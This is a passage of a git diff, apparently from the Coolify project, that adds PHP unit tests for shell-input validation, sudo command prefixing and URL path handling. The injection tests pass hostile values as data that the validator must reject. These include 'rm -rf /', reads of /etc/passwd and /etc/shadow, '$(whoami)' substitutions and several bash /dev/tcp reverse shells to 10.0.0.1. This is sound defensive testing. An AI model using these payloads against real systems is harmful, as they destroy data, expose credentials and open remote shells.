b/tests/Unit/DatabaseBackupSecurityTest.php new file mode 100644 index 000000000..6fb0bb4b9 --- /dev/null +++ b/tests/Unit/DatabaseBackupSecurityTest.php @@ -0,0 +1,83 @@ + validateShellSafePath('test$(whoami)', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with semicolon separator', function () { + expect(fn () => validateShellSafePath('test; rm -rf /', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with pipe operator', function () { + expect(fn () => validateShellSafePath('test | cat /etc/passwd', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with backticks', function () { + expect(fn () => validateShellSafePath('test`whoami`', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with ampersand', function () { + expect(fn () => validateShellSafePath('test & whoami', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with redirect operators', function () { + expect(fn () => validateShellSafePath('test > /tmp/pwned', 'database name')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('test < /etc/passwd', 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup rejects command injection with newlines', function () { + expect(fn () => validateShellSafePath("test\nrm -rf /", 'database name')) + ->toThrow(Exception::class); +}); + +test('database backup escapes shell arguments properly', function () { + $database = "test'db"; + $escaped = escapeshellarg($database); + + expect($escaped)->toBe("'test'\\''db'"); +}); + +test('database backup escapes shell arguments with double quotes', function () { + $database = 'test"db'; + $escaped = escapeshellarg($database); + + expect($escaped)->toBe("'test\"db'"); +}); + +test('database backup escapes shell arguments with spaces', function () { + $database = 'test database'; + $escaped = escapeshellarg($database); + + expect($escaped)->toBe("'test database'"); +}); + +test('database backup accepts legitimate database names', function () { + expect(fn () => validateShellSafePath('postgres', 'database name')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('my_database', 'database name')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('db-prod', 'database name')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('test123', 'database name')) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/FileStorageSecurityTest.php b/tests/Unit/FileStorageSecurityTest.php new file mode 100644 index 000000000..a89a209b1 --- /dev/null +++ b/tests/Unit/FileStorageSecurityTest.php @@ -0,0 +1,93 @@ + validateShellSafePath('/tmp$(whoami)', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects command injection with semicolon', function () { + expect(fn () => validateShellSafePath('/data; rm -rf /', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects command injection with pipe', function () { + expect(fn () => validateShellSafePath('/app | cat /etc/passwd', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects command injection with backticks', function () { + expect(fn () => validateShellSafePath('/tmp`id`/data', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects command injection with ampersand', function () { + expect(fn () => validateShellSafePath('/data && whoami', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects command injection with redirect operators', function () { + expect(fn () => validateShellSafePath('/tmp > /tmp/evil', 'storage path')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('/data < /etc/shadow', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage rejects reverse shell payload', function () { + expect(fn () => validateShellSafePath('/tmp$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', 'storage path')) + ->toThrow(Exception::class); +}); + +test('file storage escapes paths properly', function () { + $path = "/var/www/app's data"; + $escaped = escapeshellarg($path); + + expect($escaped)->toBe("'/var/www/app'\\''s data'"); +}); + +test('file storage escapes paths with spaces', function () { + $path = '/var/www/my app/data'; + $escaped = escapeshellarg($path); + + expect($escaped)->toBe("'/var/www/my app/data'"); +}); + +test('file storage escapes paths with special characters', function () { + $path = '/var/www/app (production)/data'; + $escaped = escapeshellarg($path); + + expect($escaped)->toBe("'/var/www/app (production)/data'"); +}); + +test('file storage accepts legitimate absolute paths', function () { + expect(fn () => validateShellSafePath('/var/www/app', 'storage path')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('/tmp/uploads', 'storage path')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('/data/storage', 'storage path')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('/app/persistent-data', 'storage path')) + ->not->toThrow(Exception::class); +}); + +test('file storage accepts paths with underscores and hyphens', function () { + expect(fn () => validateShellSafePath('/var/www/my_app-data', 'storage path')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path')) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/ParseCommandsByLineForSudoTest.php b/tests/Unit/ParseCommandsByLineForSudoTest.php index 3f49c1c88..f294de35f 100644 --- a/tests/Unit/ParseCommandsByLineForSudoTest.php +++ b/tests/Unit/ParseCommandsByLineForSudoTest.php @@ -272,11 +272,9 @@ $result = parseCommandsByLineForSudo($commands, $this->server); - // Note: 'docker' starts with 'do' which is an excluded keyword, so it doesn't get sudo prefix - // This is a known limitation of the startsWith approach. Docker commands still work because - // they typically appear in more complex command sequences or are handled separately. + // docker commands now correctly get sudo prefix (word boundary fix for 'do' keyword) // The || operator adds sudo to what follows, and subshell adds sudo inside $() - expect($result[0])->toBe('docker ps || sudo echo $(sudo date)'); + expect($result[0])->toBe('sudo docker ps || sudo echo $(sudo date)'); }); test('handles whitespace-only commands gracefully', function () { @@ -516,3 +514,110 @@ expect($result[0])->not->toContain('sudo select'); expect($result[2])->toBe(' break'); }); + +// Tests for word boundary matching - ensuring commands are not confused with bash keywords + +test('adds sudo for ifconfig command (not confused with if keyword)', function () { + $commands = collect(['ifconfig eth0']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('sudo ifconfig eth0'); + expect($result[0])->not->toContain('if sudo'); +}); + +test('adds sudo for ifup command (not confused with if keyword)', function () { + $commands = collect(['ifup eth0']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('sudo ifup eth0'); +}); + +test('adds sudo for ifdown command (not confused with if keyword)', function () { + $commands = collect(['ifdown eth0']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('sudo ifdown eth0'); +}); + +test('adds sudo for find command (not confused with fi keyword)', function () { + $commands = collect(['find /var -name "*.log"']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('sudo find /var -name "*.log"'); +}); + +test('adds sudo for file command (not confused with fi keyword)', function () { + $commands = collect(['file /tmp/test']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('sudo file /tmp/test'); +}); + +test('adds sudo for finger command (not confused with fi keyword)', function () { + $commands = collect(['finger user']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('sudo finger user'); +}); + +test('adds sudo for docker command (not confused with do keyword)', function () { + $commands = collect(['docker ps']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('sudo docker ps'); +}); + +test('adds sudo for fortune command (not confused with for keyword)', function () { + $commands = collect(['fortune']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('sudo fortune'); +}); + +test('adds sudo for formail command (not confused with for keyword)', function () { + $commands = collect(['formail -s procmail']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('sudo formail -s procmail'); +}); + +test('if keyword with word boundary gets sudo inserted correctly', function () { + $commands = collect(['if [ -f /tmp/test ]; then']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('if sudo [ -f /tmp/test ]; then'); +}); + +test('fi keyword with word boundary is not given sudo', function () { + $commands = collect(['fi']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('fi'); +}); + +test('for keyword with word boundary is not given sudo', function () { + $commands = collect(['for i in 1 2 3; do']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('for i in 1 2 3; do'); +}); + +test('do keyword with word boundary is not given sudo', function () { + $commands = collect(['do']); + + $result = parseCommandsByLineForSudo($commands, $this->server); + + expect($result[0])->toBe('do'); +}); diff --git a/tests/Unit/PostgresqlInitScriptSecurityTest.php b/tests/Unit/PostgresqlInitScriptSecurityTest.php new file mode 100644 index 000000000..4f74b13a4 --- /dev/null +++ b/tests/Unit/PostgresqlInitScriptSecurityTest.php @@ -0,0 +1,76 @@ + validateShellSafePath('test$(whoami)', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects command injection with semicolon', function () { + expect(fn () => validateShellSafePath('test; rm -rf /', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects command injection with pipe', function () { + expect(fn () => validateShellSafePath('test | whoami', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects command injection with backticks', function () { + expect(fn () => validateShellSafePath('test`id`', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects command injection with ampersand', function () { + expect(fn () => validateShellSafePath('test && whoami', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects command injection with redirect operators', function () { + expect(fn () => validateShellSafePath('test > /tmp/evil', 'init script filename')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('test < /etc/passwd', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script rejects reverse shell payload', function () { + expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/4444 0>&1)', 'init script filename')) + ->toThrow(Exception::class); +}); + +test('postgresql init script escapes filenames properly', function () { + $filename = "init'script.sql"; + $escaped = escapeshellarg($filename); + + expect($escaped)->toBe("'init'\\''script.sql'"); +}); + +test('postgresql init script escapes special characters', function () { + $filename = 'init script with spaces.sql'; + $escaped = escapeshellarg($filename); + + expect($escaped)->toBe("'init script with spaces.sql'"); +}); + +test('postgresql init script accepts legitimate filenames', function () { + expect(fn () => validateShellSafePath('init.sql', 'init script filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('01_schema.sql', 'init script filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('init-script.sh', 'init script filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('setup_db.sql', 'init script filename')) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/ProxyConfigurationSecurityTest.php b/tests/Unit/ProxyConfigurationSecurityTest.php new file mode 100644 index 000000000..72c5e4c3a --- /dev/null +++ b/tests/Unit/ProxyConfigurationSecurityTest.php @@ -0,0 +1,83 @@ + validateShellSafePath('test$(whoami)', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects command injection with semicolon', function () { + expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects command injection with pipe', function () { + expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects command injection with backticks', function () { + expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects command injection with ampersand', function () { + expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects command injection with redirect operators', function () { + expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename')) + ->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration rejects reverse shell payload', function () { + expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename')) + ->toThrow(Exception::class); +}); + +test('proxy configuration escapes filenames properly', function () { + $filename = "config'test.yaml"; + $escaped = escapeshellarg($filename); + + expect($escaped)->toBe("'config'\\''test.yaml'"); +}); + +test('proxy configuration escapes filenames with spaces', function () { + $filename = 'my config.yaml'; + $escaped = escapeshellarg($filename); + + expect($escaped)->toBe("'my config.yaml'"); +}); + +test('proxy configuration accepts legitimate Traefik filenames', function () { + expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename')) + ->not->toThrow(Exception::class); +}); + +test('proxy configuration accepts legitimate Caddy filenames', function () { + expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename')) + ->not->toThrow(Exception::class); + + expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename')) + ->not->toThrow(Exception::class); +}); diff --git a/tests/Unit/ServiceParserPathDuplicationTest.php b/tests/Unit/ServiceParserPathDuplicationTest.php new file mode 100644 index 000000000..74ee1d215 --- /dev/null +++ b/tests/Unit/ServiceParserPathDuplicationTest.php @@ -0,0 +1,150 @@ +endsWith($path)) { + $fqdn = "$fqdn$path"; + } + + expect($fqdn)->toBe('https://test.abc/v1/realtime'); +}); + +test('path is not added when FQDN already contains it', function () { + $fqdn = 'https://test.abc/v1/realtime'; + $path = '/v1/realtime'; + + // Simulate the logic in serviceParser() + if (! str($fqdn)->endsWith($path)) { + $fqdn = "$fqdn$path"; + } + + expect($fqdn)->toBe('https://test.abc/v1/realtime'); +}); + +test('multiple parse calls with same path do not cause duplication', function () { + $fqdn = 'https://test.abc'; + $path = '/v1/realtime'; + + // First parse (initial creation) + if (! str($fqdn)->endsWith($path)) { + $fqdn = "$fqdn$path"; + } + expect($fqdn)->toBe('https://test.abc/v1/realtime'); + + // Second parse (after FQDN update) + if (! str($fqdn)->endsWith($path)) { + $fqdn = "$fqdn$path"; + } + expect($fqdn)->toBe('https://test.abc/v1/realtime'); + + // Third parse (another update) + if (! str($fqdn)->endsWith($path)) { + $fqdn = "$fqdn$path"; + } + expect($fqdn)->toBe('https://test.abc/v1/realtime'); +}); + +test('different paths for different services work correctly', function () { + // Appwrite main service (/) + $fqdn1 = 'https://test.abc'; + $path1 = '/'; + if ($path1 !== '/' && ! str($fqdn1)->endsWith($path1)) { + $fqdn1 = "$fqdn1$path1"; + } + expect($fqdn1)->toBe('https://test.abc'); + + // Appwrite console (/console) + $fqdn2 = 'https://test.abc'; + $path2 = '/console'; + if ($path2 !== '/' && ! str($fqdn2)->endsWith($path2)) { + $fqdn2 = "$fqdn2$path2"; + } + expect($fqdn2)->toBe('https://test.abc/console'); + + // Appwrite realtime (/v1/realtime) + $fqdn3 = 'https://test.abc'; + $path3 = '/v1/realtime'; + if ($path3 !== '/' && ! str($fqdn3)->endsWith($path3)) { + $fqdn3 = "$fqdn3$path3"; + } + expect($fqdn3)->toBe('https://test.abc/v1/realtime'); +}); + +test('nested paths are handled correctly', function () { + $fqdn = 'https://test.abc'; + $path = '/api/v1/endpoint'; + + if (! str($fqdn)->endsWith($path)) { + $fqdn = "$fqdn$path"; + } + + expect($fqdn)->toBe('https://test.abc/api/v1/endpoint'); + + // Second call should not duplicate + if (! str($fqdn)->endsWith($path)) { + $fqdn = "$fqdn$path"; + } + + expect($fqdn)->toBe('https://test.abc/api/v1/endpoint'); +}); + +test('MindsDB /api path is handled correctly', function () { + $fqdn = 'https://test.abc'; + $path = '/api'; + + // First parse + if (! str($fqdn)->endsWith($path)) { + $fqdn = "$fqdn$path"; + } + expect($fqdn)->toBe('https://test.abc/api'); + + // Second parse should not duplicate + if (! str($fqdn)->endsWith($path)) { + $fqdn = "$fqdn$path"; + } + expect($fqdn)->toBe('https://test.abc/api'); +}); + +test('fqdnValueForEnv path handling works correctly', function () { + $fqdnValueForEnv = 'test.abc'; + $path = '/v1/realtime'; + + // First append + if (! str($fqdnValueForEnv)->endsWith($path)) { + $fqdnValueForEnv = "$fqdnValueForEnv$path"; + } + expect($fqdnValueForEnv)->toBe('test.abc/v1/realtime'); + + // Second attempt should not duplicate + if (! str($fqdnValueForEnv)->endsWith($path)) { + $fqdnValueForEnv = "$fqdnValueForEnv$path"; + } + expect($fqdnValueForEnv)->toBe('test.abc/v1/realtime'); +}); + +test('url path handling works correctly', function () { + $url = 'https://test.abc'; + $path = '/v1/realtime'; + + // First append + if (! str($url)->endsWith($path)) { + $url = "$url$path"; + } + expect($url)->toBe('https://test.abc/v1/realtime'); + + // Second attempt should not duplicate + if (! str($url)->endsWith($path)) { + $url = "$url$path"; + } + expect($url)->toBe('https://test.abc/v1/realtime'); +}); diff --git a/versions.json b/versions.json index 562febf01..fadd5580d 100644 --- a/versions.json +++ b/versions.json @@ -1,10 +1,10 @@ { "coolify": { "v4": { - "version": "4.0.0-beta.450" + "version": "4.0.0-beta.451" }, "nightly": { - "version": "4.0.0-beta.451" + "version": "4.0.0-beta.452" }, "helper": { "version": "1.0.12"